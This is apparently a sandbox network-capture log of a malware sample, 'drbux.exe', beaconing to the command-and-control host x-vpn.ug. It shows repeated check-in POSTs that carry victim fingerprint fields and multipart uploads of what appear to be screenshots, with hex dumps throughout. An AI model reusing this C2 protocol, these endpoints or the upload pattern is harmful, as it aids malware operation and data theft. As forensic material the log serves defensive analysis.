Jul 19, 2021 18:36:55.726223946 CEST	20913	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:55.818818092 CEST	20927	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.6	50077	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:55.782253027 CEST	20913	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:55.782390118 CEST	20913	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:55.782649040 CEST	20923	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:55.782722950 CEST	20926	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:55.880458117 CEST	20929	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:55.880522013 CEST	20932	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:55.880711079 CEST	20935	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:55.880935907 CEST	20938	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:55.881419897 CEST	20943	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:55.881661892 CEST	20946	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:55.881860971 CEST	20947	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:56.223362923 CEST	21012	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.6	50078	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:56.006167889 CEST	20964	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:56.084657907 CEST	21000	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	49769	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:39.503318071 CEST	4049	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:39.503480911 CEST	4049	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:39.503683090 CEST	4059	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:39.503834963 CEST	4062	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:39.601298094 CEST	4068	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:39.601458073 CEST	4070	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:39.601677895 CEST	4082	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:39.601833105 CEST	4088	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:39.699264050 CEST	4093	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:39.699297905 CEST	4096	OUT	Data Raw: 03 ea 2b a3 d3 75 cd 32 cb cc d3 20 d4 ac d2 38 34 67 b4 8a f6 f2 c9 a5 82 59 de e1 65 6f dd 98 dc 94 03 20 6e 4e d9 c0 cd 61 78 82 f2 d2 ff 00 5d 92 e2 cd fc d0 61 89 65 98 2b 2a 4b 2a a0 0c c8 ad ca a1 23 e5 5c 0c 0c 00 14 70 2e 15 66 e6 93 db Data Ascii: +u2 84gYeo nNax]ae+K#\p.f]A77Mmh3`Lgz<$kHn4"O4 0n;=IB7S:0jvAc-l$wLQKcO1hfJOKvv
Jul 19, 2021 18:35:39.699913979 CEST	4104	OUT	Data Raw: 1c d2 1e 0d 02 1d da 97 b5 27 5a 51 4c 91 47 34 11 45 19 a0 41 d6 94 7d 68 a5 02 80 17 b5 38 50 05 14 c9 62 d2 9a 6f 6a 05 02 b0 b4 a0 e2 92 8a 04 3c 11 4a 6a 3a 78 3c 50 26 8d 9f 0c 8c eb 31 fd 0d 57 bd ff 00 8f e9 ff 00 df 35 67 c2 a3 3a e4 7f Data Ascii: 'ZQLG4EA}h8Pboj<Jj:x<P&1W5g:{\ 84IEE%EP!E8S)QEhN_)LZO*dZZO1WHJ/GS^k3K!Xuqaanp=}
Jul 19, 2021 18:35:39.910051107 CEST	4146	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.6	50079	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:56.296102047 CEST	21012	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:56.401777029 CEST	21013	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.6	50080	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:56.561559916 CEST	21014	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----993732936c83178afc7633ef35f2639d Host: x-vpn.ug Content-Length: 96800 Cache-Control: no-cache
Jul 19, 2021 18:36:56.561564922 CEST	21014	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 39 33 37 33 32 39 33 36 63 38 33 31 37 38 61 66 63 37 36 33 33 65 66 33 35 66 32 36 33 39 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------993732936c83178afc7633ef35f2639dContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:56.561578035 CEST	21024	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:56.561602116 CEST	21026	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:56.657756090 CEST	21028	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:56.659796000 CEST	21030	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:56.659953117 CEST	21033	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:56.660209894 CEST	21036	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:56.660449028 CEST	21039	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:56.660900116 CEST	21041	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:56.661020041 CEST	21044	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:56.661271095 CEST	21047	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.6	50081	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
